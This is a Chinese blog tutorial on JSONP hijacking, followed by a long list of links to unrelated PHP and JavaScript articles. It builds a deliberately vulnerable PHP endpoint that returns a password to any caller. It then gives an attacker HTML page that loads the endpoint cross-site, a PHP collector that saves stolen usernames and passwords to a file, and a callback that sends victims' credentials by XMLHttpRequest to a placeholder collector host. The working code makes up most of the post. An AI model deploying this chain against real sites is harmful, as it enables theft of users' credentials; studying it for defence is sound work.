Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
PHP函数常用用法小结
Feb 08 PHP
PHP优于Node.js的五大理由分享
Sep 15 PHP
测试PHP连接MYSQL成功与否的代码
Aug 16 PHP
ThinkPHP的Widget扩展实例
Jun 19 PHP
smarty模板引擎之配置文件数据和保留数据
Mar 30 PHP
CodeIgniter中使用Smarty3基本配置
Jun 29 PHP
PHP定时执行任务的3种方法详解
Dec 21 PHP
PHP中substr函数字符串截取用法分析
Jan 07 PHP
php 判断字符串编码是utf-8 或gb2312实例
Nov 01 PHP
PHP实现文件上传功能实例代码
May 18 PHP
PHP 7安装使用体验之性能大提升,兼容性强,扩展支持不够(升级PHP要谨慎)
Jul 27 PHP
Thinkphp自定义生成缩略图尺寸的方法
Aug 05 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
如何利用php+mysql保存和输出文件
2006/10/09 PHP
PHP的password_hash()使用实例
2014/03/17 PHP
PHP实现的折半查询算法示例
2017/10/09 PHP
PHP内置函数生成随机数实例
2019/01/18 PHP
用JavaScript对JSON进行模式匹配(Part 1-设计)
2010/07/17 Javascript
js实现特定位取反原理及示例
2014/06/30 Javascript
判断字符串的长度(优化版)中文占两个字符
2014/10/30 Javascript
javascript 构造函数方式定义对象
2015/01/02 Javascript
jQuery自定义图片缩放拖拽插件imageQ实现方法(附demo源码下载)
2016/05/27 Javascript
jQuery 全选 全不选 事件绑定的实现代码
2017/01/23 Javascript
webpack打包node.js后端项目的方法
2018/03/10 Javascript
JavaScript检查数据中是否存在相同的元素(两种方法)
2018/10/07 Javascript
jQuery选择器之基本过滤选择器用法实例分析
2019/02/19 jQuery
在layer弹层layer.prompt中,修改placeholder的实现方法
2019/09/27 Javascript
vue ssr服务端渲染(小白解惑)
2019/11/10 Javascript
微信小程序实现Swiper轮播图效果
2019/11/22 Javascript
Vue项目移动端滚动穿透问题的实现
2020/05/19 Javascript
vue data有值,但是页面{{}} 取不到值的解决
2020/11/09 Javascript
Python模糊查询本地文件夹去除文件后缀的实例(7行代码)
2017/11/09 Python
深入浅析Python中的yield关键字
2018/01/24 Python
python之pandas用法大全
2018/03/13 Python
python3+PyQt5+Qt Designer实现扩展对话框
2018/04/20 Python
Python检查ping终端的方法
2019/01/26 Python
Django RBAC权限管理设计过程详解
2019/08/06 Python
Python操作redis和mongoDB的方法
2019/12/19 Python
解决pip install psycopg2出错问题
2020/07/09 Python
Python实现小黑屋游戏的完整实例
2021/01/06 Python
HTML5边玩边学(1)画布实现方法
2010/09/21 HTML / CSS
js实现弹框效果
2021/03/24 Javascript
党校培训思想汇报
2014/01/03 职场文书
护士长2015年终工作总结
2015/04/24 职场文书
2015教师年度思想工作总结
2015/04/30 职场文书
学校德育工作总结2015
2015/05/11 职场文书
话题作文之呼唤
2019/12/18 职场文书
JavaScript原始值与包装对象的详细介绍
2021/05/11 Javascript
Pytorch反向传播中的细节-计算梯度时的默认累加操作
2021/06/05 Python